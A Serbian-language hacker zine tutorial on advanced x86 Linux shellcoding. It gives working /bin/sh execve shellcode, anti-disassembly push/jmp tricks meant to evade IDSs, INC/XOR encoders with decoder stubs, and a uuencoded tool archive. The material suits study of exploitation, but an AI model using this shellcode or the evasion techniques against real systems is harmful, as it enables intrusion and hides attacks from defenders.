................... ...::: phearless zine #5 :::... ......................>---[ Advanced Shellcoding ]---<...................... .........................>---[ by BaCkSpAcE ]---<........................... sinisa86[at]gmail[dot]com SADRZAJ: [0] Uvod [1] Zasto shellcode nekad ne radi [2] Najmanji potpuno ispravan execve() shellcode [3] Kako zbuniti disasemblere sa PUSH/JMP instrukcijama [4] Osnove enkriptovanja shellcoda [5] Literatura [6] Odvod /////////////////////////////////////////////////////////////////////////// --==<[ 0. Uvod \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Shellcode predstavlja neki bajtkod, uglavnom mali, koji se koristi da bi exploitali neki overflow, odnosno bug za cije exploitovanje je potrebno promeniti tok izvrsavanja instrukcija programa (eip registar). Koliko god postoji tekstova na ovu temu, uvek ostane nesto nedoreceno, nedovrseno. Ja sam, citajuci te iste tekstove, primetio dosta stvari koje bih voleo da mi budu objasnjene. Tragajuci za resenjem, na kraju sam odlucio da podelim te moje rezultate sa svima, jer verujem da ima dosta "shellcodera" koji sigurno ne znaju bar jednu stvar iz ovog teksta. Sto se tice potrebnog predznanja za ovaj tekst, to je naravno neizbezni asembler ;) Takodje, bilo bi pozeljno da znate (ali nije neophodno) da napisete exploit za neki od overflowa, tipa buffer overflow, format string overflow i slicni, jer nema svrhe da znate da pisete shellcodove, a da ne znate da ih primenite ;) Ko je "malo zaboravio" kako se pisu shellcodovi, neka pogleda Shatterhandov tekst iz phearless zinea ph#2/0x0a. /////////////////////////////////////////////////////////////////////////// --==<[ 1. Zasto shellcode nekad ne radi \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Shellcode, iako je ispravan i radi kada ga pokrenete u binarnom obliku, odnosno cim ga kompajlirate pomocu npr. nasm-a, on nece da radi kada ga "bacite u vatru", zato sto imate \x00 (hexadecimalno) u vasem shellcodu. To ste vec znali, je l' tako ;) E, a sad nesto sto sam primetio da dosta shellcodera ne zna, tj. neki specijalni slucajevi zbog kojih ce vas exploit a samim tim i shellcode, da zakaze... Evo jedan tipican shellcode koji ja koristim, a i vecina drugih ljudi pri exploitovanju neke ranjive aplikacije: push byte 11 pop eax cdq push edx push 0x68732f2f ; guramo "//sh" na stack push 0x6e69622f ; guramo "/bin" na stack push esp pop ebx ; punimo ebx sa adresom sadrzaja "/bin//sh" push edx push ebx push esp pop ecx ; punimo ecx sa pokazivacem na adresu od "/bin//sh" int 0x80 ; pozivamo kernel i prepustamo izvrsavanje funkcije Ovaj shellcode je duzine 23 bajta i kada se kompajlira njegov kod u heksadecimalnom obliku izgleda ovako: char shellcode[] = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x54" "\x5b\x52\x53\x54\x59\xcd\x80"; Kao sto vidite, shellcode mi je ostao smesten u jednoj promenljivoj, prvenstveno zato sto me mrzilo da uklanjam ove kose crte i x-eve, a ionako cete ga ovako koristiti cesce ;) U ovom shellcodu je sve u redu (bar na prvi pogled), i radice u vecini exploita. Ali zasto nekad nece raditi? Pogledajte sledeci primer. #include #include #define SCLEN 28 char shellcode[] = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x54" "\x5b\x52\x53\x54\x59\xcd\x80"; main() { int i; char sc[SCLEN]; void (*fp) (void); sprintf (sc, "%s", shellcode); for (i=0; i Enable seccomp to safely compute untrusted bytecode'. Resenje ovog problema je rekompajliranje kernela sa iskljucenim seccomp-om, ili neki on-fly kernel patching ;) /////////////////////////////////////////////////////////////////////////// --==<[ 2. Najmanji potpuno ispravan execve() shellcode \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Borba za najmanji execve() shellcode je dugo trajala, ali vec se doslo do nekih maksimuma. Najmanji shellcode koji sam ja video, iznosi 21 bajt, a tvorac tog shellcoda je zasta [zasta(at)darkircop(dot)org]. Medjutim, najmanji shellcode cesto ne znaci i najispravniji... Kad smo vec kod toga, upravo taj 'najmanji' shellcode radi, ali pod specificnim okolnostima ;) Evo kako glasi taj najmanji shellcode: xor ecx, ecx mul ecx add al, 11 push edx push 0x6873612f push 0x6e69622f mov ebx, esp int 0x80 Prvi uslov da bi ovaj shellcode radio jeste taj da ne exploitujemo neku aplikaciju kod koje ce nas buffer za smestanje shellcoda da prodje kroz sscanf() funkciju, kao sto smo videli u prvom poglavlju. Drugi uslov da bi ovaj shellcode radio je taj da na sistemu koji exploitujemo mora da bude instaliran /bin/ash shell, sto nije bas uobicajeno na POSIXcnim operativnim sistemima, vec se uglavnom naknadno ubacuje po zelji. Zasto bas /bin/ash ? Evo zasto. Kao sto vidite, ovaj shellcode drzi registar CX prazan (NULL), a po definiciji execve() funkcije, trebalo bi da stoji na tom mestu pokazivac na pokazivac (pointer to pointer) na string koji sadrzi ime tog shella. Da bi videli zasto ostali shellovi nece da rade bez pravilno popunjenog CX registra, a samo /bin/ash hoce, treba da zagrebemo malo ispod povrsine kernela, i da vidimo sta se tu desava prilikom poziva execve() sistemske funkcije. Pozivanje execve() je ekvivalentno sistemskom pozivu sys_execve(). Evo kako radi sys_execve(): [linux/arch/i386/kernel/process.c] ... asmlinkage int sys_execve(struct pt_regs regs) { int error; char * filename; filename = getname((char __user *) regs.ebx); error = PTR_ERR(filename); if (IS_ERR(filename)) goto out; error = do_execve(filename, (char __user * __user *) regs.ecx, (char __user * __user *) regs.edx, ®s); ... Ovde vidimo da se promenljiva filename popunjava sa pokazivacem na adresu programa koji pokrecemo (EBX). Nas ECX koji nam je ovde od znacaja i koji sadrzi vrednost NULL, prosledjuje se funkciji do_execve() kao drugi parametar. Sada da vidimo sta se tamo zbiva: [linux/fs/exec.c] ... int do_execve(char * filename, char __user *__user *argv, char __user *__user *envp, struct pt_regs * regs) { struct linux_binprm *bprm; struct file *file; ... bprm->argc = count(argv, bprm->p / sizeof(void *)); if ((retval = bprm->argc) < 0) goto out_mm; ... Izostavio sam veci deo ove funkcije zbog toga sto je vecina stvari nama bespotrebna, jedino sto nam ovde treba jeste ovaj red koji popunjava bprm strukturu, tacnije bprm->argc. Funkcija count racuna broj parametara u argv, i taj broj vraca u argc. Iz ovoga vidimo da ce agrv biti NULL, a argc ce biti 0! Upravo je to razlog zasto svi ostali shellovi padaju, a 'ash' ne pada! Ostali padaju zato sto nailaze na paradoksalne vrednosti parametara argv i argc, jer po pravilu bi trebao uvek da bude barem jedan parametar u argv (naziv samog programa), a prema tome argc bi trebalo da sadrzi vrednost jedan. Probajte da napravite sami neku malu 'ljusku' koja nece pasti ako je argv = NULL. Ili jednostavno probajte ovo: [ss.c] #include main() { system ("ksh"); } backspace@bitbyterz# gcc ss.c -o ss backspace@bitbyterz# cp ss /bin Zatim ispravite prvi push u shellcodu, tako da pokazuje na /bin//ss. Znaci, na stack bi se gurali sledeci podaci: ... push 0x73732f2f push 0x6e69622f ... I probajte sada ovaj mali shellcode, i videcete da radi! Jedino nam sada ostaje da se nadamo da ce se u buducim verzijama bash-a i slicnih ljuski ispraviti ovaj "bug" kako bi mogli da koristimo jos manje shellcodove ;) Prema tome, da li bi ovakav shellcode trebao da nosi naziv najmanjeg shellcoda? Po meni, najmanji shellcode bi pored toga sto je najmanji trebalo da bude i potpuno ispravan, a ne da bacamo grashke kada ce raditi, a kad ne. Znaci, da bi napisali u potpunosti funkcionalan shellcode, a pritom i da tezimo i ka najmanjem, treba da pazimo na sledece stvari: - da nam se ne pojavljuju \x00 bajtovi u shellcodu (ovo svi znaju ;) - da nam se ne pojavljuju \x09, \x0a, \x0b, \x0c, \x0d bajtovi - da prosledimo ispravne parametre execve() syscall-u - da ne koristimo neke instrukcije ciji rezultati zavise od stanja nekih registara i slicno Ovaj poslednji uslov se prvenstveno odnosi na instrukciju cdq, jer je ona ovako vrlo primamljiva zato sto isprazni EDX registar, a zauzima samo jedan bajt, dok u normalnim situacijama za ovaj posao nam treba 2 bajta (xor edx, edx). Medjutim, ako je sadrzaj eax registra veci od 0x7FFFFFFF, onda se EDX umesto sa nulama napuni sa 'FF FF FF FF'. Ja sam pokusao da napisem neki shellcode koji ispunjava sve navedene uslove, i stigao sam do 26 bajtova. Verovatno moze da se napise jos manji, ali neka ostane nesto da vam golica mastu, ne bi li dobili malo zelje u trazenju manjem shellcoda. Evo kako on izgleda: push byte 8 ; guramo 8 na stack, jer 9 ne smemo zbog \x09 pop eax add al, 3 ; dodajemo na postojecih 8 jos 3 = 11 ;) xor edx, edx ; praznimo edx (eh, da je sad tu cdq ;) push edx ; guramo 4 null bajta iz eax na stack push 0x68732f2f ; guramo "//sh" na stack push 0x6e69622f ; guramo "/bin" na stack push esp pop ebx push edx ; guramo 4 null bajta iz eax na stack push ebx ; guramo ebx na stack push esp pop ecx int 0x80 ; pozivamo kernel i prepustamo izvrsavanje funkcije Ovaj shellcode mozete ubaciti bukvalno bilo gde, i svugde ce da radi ;) A usput nece ni da ucenjuje kao ovi prethodni, pa da trazi neke BogZnaKakve uslove za rad... "Neverne Tome" neka puste ovaj shellcode kroz bilo koju kvazinormalnu funkciju, pa neka se i sami uvere ;) #include char shellcode[] = "\x6a\x08\x58\x04\x03\x31\xd2\x52" "\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x54\x5b\x52\x53\x54\x59" "\xcd\x80"; main() { void (*fp) (void); fp = (void *) shellcode; printf ("%d bytes\n", strlen(shellcode)); fp(); } /////////////////////////////////////////////////////////////////////////// --==<[ 3. Kako zbuniti disasemblere sa PUSH/JMP instrukcijama \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Ono sto shellcodovima predstavlja najvecu glavobolju jesu IDSovi, tj. Intrusion Detection System, koji su u stanju da detektuju izvrsavanje nekog neprijateljski raspolozenog bytecoda. Takodje, tu su i disasembleri koji se trude da im nijedan bajt ne promakne, i da svaki lepo protumace. Tokom jedne diskusije na forumu o navodjenju disasemblera na gresku (thx h4z4rd, deroko), pokusao sam i ja nesto da uradim na tu foru. Za pocetak navescu jedan jednostavan nacin kako da sakrijete poslednja 2-3 bajta. Posmatrajmo sledeci shellcode: push byte 11 ; \x6A\x0B pop eax ; \x58 xor edx, edx ; \x31\xD2 push edx ; \x52 push 0x68732f2f ; \x68\x2F\x2F\x73\x68 push 0x6e69622f ; \x68\x2F\x62\x69\x6E mov ebx, esp ; \x89\xE3 push edx ; \x52 push ebx ; \x53 mov ecx, esp ; \x89\xE1 int 0x80 ; \xCD\x80 Poslednja instrukcija je int 0x80, koja je inace i kljucna da bi ovaj shellcode uopste "pokusao" da proradi ;) Kako mozemo nju da sakrijemo? Pa mozemo tako sto cemo ugraditi njen opcode i parametar unutar push instrukcije i tako ce disasembler nju videti samo kao push. Pomocu ovog nacina mozete teoretski da sakrijete 4 bajta, medjutim problem je sto neki disasembleri umeju da "prepolove" push, pa da je tumace kao push word, a druga dva bajta da disasembluju, sto nam nikako ne odgovara. Evo kako cemo onda sakriti int 0x80: skok: push 0xXX80CDXX jmp skok+2 Kao sto vidite, ovaj 4-bajtni bytecode smo smestili u push instrukciju po 'little endian' redosledu, pa smo onda skocili na adresu skok+1. Koje je to mesto? Evo kako izgleda situacija: skok 0x68 skok+1 0xXX skok+2 0xCD skok+3 0x80 skok+4 0xXX Kao sto mozete primetiti, ovim skokom skacemo direktno na bajt 0xCD, koji ustvari predstavlja opcode int instrukcije. Umesto ovih bajtova XX moze da bude bilo koji bajt, proizvoljno, jer je on tu samo da popuni mesto ;) Kada kompajliramo ovaj shellcode i pokusamo da ga disasemblujemo pomocu ndisasm-a, evo sta bi dobili: backspace@bitbyterz# ndisasm -u shellcode 00000000 6A0B push byte +0xb 00000002 58 pop eax 00000003 31D2 xor edx,edx 00000005 52 push edx 00000006 682F2F7368 push dword 0x68732f2f 0000000B 682F62696E push dword 0x6e69622f 00000010 89E3 mov ebx,esp 00000012 52 push edx 00000013 53 push ebx 00000014 89E1 mov ecx,esp 00000016 6890CD8090 push dword 0x9080cd90 0000001B EBFB jmp short 0x18 Da li je dobro disasm rastumacio kod? Jeste, dobro je rastumacio, ali fora je u tome sto on ne vidi ono sto smo mi hteli da on ne vidi ;) a to je onaj jmp koji skace na 0x18 odakle pocinje int 0x80 instrukcija!!! Ovo je mali pocetak, a sada da pokusamo neki veci zalogaj. Posmatramo sledeci kod: crypt: db 0x68 db 0x68 db 0x68 db 0x68 db 0x68 jmp crypt+3 Sta je 0x68? To je opcode push dword instrukcije, to znaci da se posle push opcoda ocekuju cetiri bajta koja ce se staviti na stack. Ovde se na stack stavlja \x68\x68\x68\x68. Zatim dolazi skok u sred push instrukcije. Sta nam to predstavlja? Evo da nacrtamo ovo malo lepse. crypt db 0x68 crypt+1 db 0x68 crypt+2 db 0x68 crypt+3 db 0x68 crypt+4 db 0x68 Kada skocimo na crypt+3, skocicemo opet na 0x68 opcode (push dw), i onda bi on trebalo da pushne cetiri bajta, zar ne? Medjutim, zanimljivo je to sta ce on da gurne na stack. U ovom slucaju to ce biti \x68, zatim jos dva bajta od jmp crypt+3 instrukcije, i plus jos jedan bajt koji se nalazio posle jmp-a. Ovo mozemo da iskoristimo da prikrijemo instrukcije, i da zbunimo disasembler skroz. Sta cemo da uradimo? Ovako: crypt: db 0x68 db 0x68 db 0x68 db 0x68 ; ovo je pozicija [crypt+3] db 0x68 jmp crypt+3 ; dvobajtna instrukcija db 0x68 ; opcode push dw instrukcije Kako bi se ovo videlo u disasembleru? push 0x68686868 ; \x68\x68\x68\x68\x68 jmp short 0x3 ; \xEB\xFC push [shellcode] ; \x68 i jos cetiri bajta od naseg shellcoda Sada ova poslednja instrukcije db 0x68 (push dw), ocekuje jos cetiri bajta da baci na stack, i tako dalje. Medjutim, u realnosti program nikada nece stici do tog koraka. Zasto? Zato sto jmp skace u sred push instrukcije, i menja se ceo tok programa. Posle jump instrukcije, program ce ici ovim redosledom: jmp short 0x3 ... push 0x68EBFC68 [shellcode] I sada ce nas shellcode da nastavi da se izvrsava bez problema, iako ce disasembleri da vide nesto sasvim deseto. Evo kako bi izgledao sada shellcode kada ubacimo ovaj dodatak: crypt: db 0x68 db 0x68 db 0x68 db 0x68 ; crypt+3 db 0x68 jmp crypt+3 db 0x68 ; MAGIC_BYTE: ovaj bajt dovodi disasm do ludila push byte 11 ; odavde pocinje shellcode pop eax xor edx, edx push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push edx push ebx mov ecx, esp int 0x80 Probajte da kompajlirate ovaj shellcode, pa da ga disasemblujete. Evo kakve sam ja rezultate dobio sa ndisasm-om: backspace@bitbyterz# ndisasm -u crypt_sc 00000000 6868686868 push dword 0x68686868 00000005 EBFC jmp short 0x3 00000007 686A0B5831 push dword 0x31580b6a 0000000C D25268 rcl byte [edx+0x68],cl 0000000F 2F das 00000010 2F das 00000011 7368 jnc 0x7b 00000013 682F62696E push dword 0x6e69622f 00000018 89E3 mov ebx,esp 0000001A 52 push edx 0000001B 53 push ebx 0000001C 89E1 mov ecx,esp 0000001E CD80 int 0x80 Kao sto vidite, vecina koda je izmesana, tek se na mov instrukciji disasembler vratio na kolosek. Moze dalje da se steluje da se ne vidi ni dalji kod, ali umesto toga, uradicu nesto drugo. Iskoristicu onaj prostor koji smo na samom pocetku popunjavali sa \x68. Tu cemo da smestimo int 0x80 instrukciju. Posle te modifikacije, shellcode ce izgledati ovako: crypt: db 0x68 ; opcode push dw instrukcije db 0xcd ; crypt+1, opcode od instrukcije int db 0x80 ; broj interapta koji se poziva db 0x68 ; crypt+3 db 0x68 jmp crypt+3 db 0x68 ; MAGIC_BYTE: ovaj bajt dovodi disasm do ludila push byte 11 ; odavde pocinje shellcode pop eax xor edx, edx push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push edx push ebx mov ecx, esp jmp crypt+1 ; skace na adresu gde je sakrivena int 0x80 Mozete ovaj shellcode dalje da doteravate tako sto cete ugradjivati jos ovih 'crypt' delova, ali to ostaje na vama. Takodje, mozete menjati ovaj MAGIC_BYTE, tako sto cete menjati njegovu vrednost u opcode neke druge instrukcije. U obzir ne dolaze jednobajtne instrukcije tipa inc, pop, push reg, nop... vec samo vise bajtne instrukcije. Evo liste koju ja koristim: 2-bajtna: \x31 3-bajtna: \xD2 4-bajtna: \x68 (push dw) ili \xE9 (jmp) ... U zavisnosti od toga da li je instrukcija 2-bajtna, 3-bajtna ili 4-bajtna, ona ce da krade redom 1, 2 ili 3 bajta. Zbog toga disasm ne moze lepo da rastumaci kod. Na vama je da kombinujete. /////////////////////////////////////////////////////////////////////////// --==<[ 4. Osnove enkriptovanja shellcoda \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Sledeci korak koji bi mogli da napravimo u poboljsanju shellcoda jeste enkriptovanje istog! Postoje razni nacini kako se to moze uraditi, ali svi se svode na isto. Svaki 'encrypted' shellcode sadrzi prvo jedan blok gde se nalazi pravi shellcode encodovan na neki nacin, i drugi blok koji sluzi da dekriptuje prvi blok, i da izvrsi pravi shellcode koji je bio skriven. Evo kako bi izgledao blok diagram ovog shellcoda: enkriptovani shellcode | | V decryptor shellcoda | | V loader shellcoda Treba napomenuti da enkriptovani shellcode mora da bude gurnut na stack tj. treba ga smestiti u par push instrukcija, i to je to. Razmatracemo jedan shellcode od 24 bajta: push byte 11 pop eax xor edx, edx push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push edx push ebx mov ecx, esp int 0x80 Sada cemo ovaj shellcode staviti u nekoliko push instrukcija i napraviti jedan takav funkcionalan shellcode prema prethodnom blok diagramu: ;shellcode push 0x80cde189 ; pocetak naseg shellcoda push 0x5352e389 push 0x6e69622f push 0x6868732f push 0x2f6852d2 push 0x31580b6a push byte 0x18 ; informacija o duzini shellcoda, 0x18 = 24 bytes pop ecx ;decrypter ;loader push esp ret Ovo je najjednostavniji shellcode prema nasem blok diagramu koji nije enkriptovan. U sustini, na osnovu ovog shellcoda nastale su brojne druge "mutacije" na internetu gde se one samo razlikuju prema nacinu enkriptovanja shellcoda. Evo kako ja vidim i razvrstavam te razlicite nacine enkriptovanja: - linearno (ADD, SUB, INC, DEC) - shiftovanje (SHR, SHL) - ekskluzivno OR (XOR) - "prava" enkripcija dobijena kombinacijom ostalih metoda iza koje stoji veoma slozen matematicki aparat Mislim da se svi slazemo da je najlakse objasniti osnovni princip rada ovakvih shellcodova na nekom najprostijem primeru, a to je u ovom slucaju inc (ili dec). Uzecemo gorepomenuti shellcode, i povecacemo svaki njegov bajt za 1, tj. radicemo enkripciju pomocu instrukcije INC. Nakon toga, moramo staviti neki dekriptor koji ce smanjiti svaki bajt shellcoda za jedan na stacku, i na kraju cemo pokrenuti taj modifikovani shellcode. My way: ;shellcode push 0x81cee28a push 0x5453e48a push 0x6f6a6330 push 0x69697430 push 0x306953d3 push 0x32590c6b push byte 0x18 pop ecx ;decrypter decrypter: dec byte [esp+ecx] ; smanjuje vrednost podatka na stacku za jedan dec ecx ; smanjuje ecx da bi pokazivao na sledeci bajt jns decrypter ;loader push esp ret Evo, to je prva uspesna verzija enkriptovanog shellcoda! Sada dalje moze da se usavrsava ovaj kod tako sto cemo praviti neke bolje enkriptore. Ja se necu mnogo zadrzavati oko toga, to je vasa volja kako cete nesto da enkriptujete, vec cu vam dati primer kako mozete da koristite XOR instr. kao nacin enkripcije. Za ovu priliku vam dajem jedan program koji ce vas vec postojeci shellcode da enkriptuje pomocu XOR-a, znaci automatizuje posao za vas. Ovaj i svi ostali fajlovi koje sada budem koristio, nalaze se encodovani na kraju ovog fajla. Za pocetak nam treba neki shellcode. Uzecemo onda opet onaj nas shellcode od 24 bajta, i kompajliracemo ga: backspace@bitbyterz# nasm shellcode.asm -f bin backspace@bitbyterz# gcc xorencrypt.c -o xorencrypt backspace@bitbyterz# ./xorencrypt usage: xorencrypt backspace@bitbyterz# ./xorencrypt shellcode izlaz 4 No NULL bytes were found when xoring with 4! Sada je nas shellcode smesten u fajlu izlaz. Zatim cemo njegov sadrzaj u heksadecimalnom obliku upisati u push-eve, ali u obrnutom redosledu, kao sto je to radjeno i u prethodnim primerima. Nas shellcode bi trebao da izgleda ovako: ;shellcode push 0x84c9e58d push 0x5756e78d push 0x6a6d662b push 0x6c6c772b push 0x2b6c56d6 push 0x355c0f6e push byte 0x18 pop ecx ;decrypter decrypter: xor byte [esp+ecx], 4 ; ovde se vrsi dekriptovanje pomocu xor-a dec ecx ; sa parametrom 4 koji smo izabrali kada smo jns decrypter ; pokretali ./xorencrypt ;runner push esp ret Naravno, ako ne bi napisali parametar 4, vec neki drugi, shellcode se ne bi lepo dekriptovao, pa bi izbacio 'Segmentation Fault'. Eto, sada vam ostavljam ovaj xorencrypt da pokusate i sami (za domaci ;) da napravite svoj xor-enkriptovani shellcode ;) /////////////////////////////////////////////////////////////////////////// --==<[ 5. Literatura \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ (1) How IT Works Rodrigo Rubira Branco http://www.bsdaemon.org (2) Najmanji shellcode (21 byte) zasta zasta[at]darkircop[dot]org (3) execve() shellcode, encoded by +1, 39 bytes izik izik[at]tty64[dot].org /////////////////////////////////////////////////////////////////////////// --==<[ 6. Odvod \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Znate sta? Hteo sam da pisem jos nekih stvari, ali stvarno vise ne mogu jer me smorilo ucenje za fax i tako to, pa sam jedva i ovo napisao jer mi je oduzelo prilicno vremena. Nadam se da to vreme nece biti izgubljeno, i da ce neko umeti ovo da iskoristi i upotrebi svoju kreativnost i inteligenciju u daljem razvoju shellcodova. Sada imate dosta materijala za proucavanje i pravljenje vasih boljih modifikovanih verzija shellcodova, koje cete nadam se, kao i ja, podeliti sa ostalim shellcode frikovima ;) greetz to: **W**, d0lphin, De1Rekt0n, BORG, SSnaVe, bl00d, Shatterhand, Earthquake, deroko, sunnis, DownBload, BoyScout, hazard, HitMan, Exoduks, Re00t, lesh, ACidCooKie i svim ostalim clanovima grupa sa kojima je bilo divno druziti se (Serbian Security Team i bSecurity Team)... i svima ostalima kojih se nisam setio... Posebno se zahvaljujem mojoj devojci koja redovno cita moje tekstove i koja mi daje snage i volje za dalji rad. Takodje poseban pozdrav mojim cimerima koji su trpili zvuk kompjutera i tastature dok kucam, jer se taj "tretman" neretko znao oduziti do 5-6 sati ujutro ;) begin 644 advshell.tar.bz2 M0EIH.3%!62936S___W_Y`(``2D0`J```( M4`0X2%C8]NNVZC;PE31-3":3TI^DVE/TIGJFPD:8TPFH]31FD#8H-J>IZGM4 MVIDPF&2-1DTT32)O2FR:@/*>33(0P$:,C3!!B>HTPC30)$DQ`I/&J>E-M)B1 M[13U#R1Z08$#)@:3:F@,3(;4.9--#(`&(R#(`:8(&(!HTT`&0-``DE"FR93T M&H#-(&$T:```-`&@```#H_'G4>8[]FZ#FL*-^MI!%HD(T(&C?UW0+8!LX.%Z MZ3I8Q506H!H2:1`BYL]>QZ?CXRQO^/UZ]MO+0J)M+U"_;FOZ;BZ"QSRJ3;-" M;B<'+J\VSS$2RQJ77Y2D+06(IE'-/GJC:$D5:$TP2*`(+EXL$*$@J+%=5KTZ MZ?-R?`VHL`]4,:1L*H)H`E2?GH;*:=N3*XVK>H;[BEN+C4CTR&Y1F%M,^J:I M$L?DKOKJIO.^BL9]/#;_4=2)%M_)!+?N-.4!ER0B#=C:=*:H(TUG-R,&15I' M,03I8=25=ZPBS8OK58,*I!6F!2U"F\YPFQ_:AJ/%HL$C*!""7TC'8K5MB)LTSB>)0OQSWF:N$4XM-N8 M^/MCZ5MB.U^=L8D]]^\U6"E=4RF14L3FI,)\]*VAJG"P.BF MY+I`>'=B>^24?:"]$)#T*4OREF:N@?6UAX;?"KCLT82;R!9^_XX*F$R%WK/H M8C?:0,)47`0AP*>*:L8ACZ*!U%-K^Q6.QF9DD[IFN.31B!,P-%S/1ON[M)6] MPO(24=-]2KK2:,1P#.74):9ND!H#A@)95@$\D7H6"4Y&4P(+-:*`9#,+ M3;EU;]TFELB7V:?A6\IP#U07(]=BPNE*ZH?@(=TB&D=S>+B:U1NN_QM9C@J] MNU2^0JW"!+SZ`K;9$,X:05:PEHEYB_$3)>E<50P$XF++S=N(6DF4,7Z16JP4 M4A2>.>+#9#:@T;S[M$*0D2QS!SJ),''!9)B%NHG&@8"L1*_%04DC7("?*GQJ MI!J@XA>X("3&V#IMK<2J*'!E]LDLD_[(%,0.D#XJ[DK$:]T^.FG4"M/M8S$Y M14IZL67A+DNZ)^Q7>(&R&LH=*DQPCJBFL51/L#Z M;/FB>E((H9I",-&/6BFIRH85:B)?0),2\E*:7!SXWI=/RE[91A5LBZNL"&,6 M8&VNC_(-1S$?OKI#!(U3:[;(;9%D22]KXF+W^SK=?H:\3Z!@+^+N2*<*$ACZ #@/%` ` end sum -r/size 35687/1173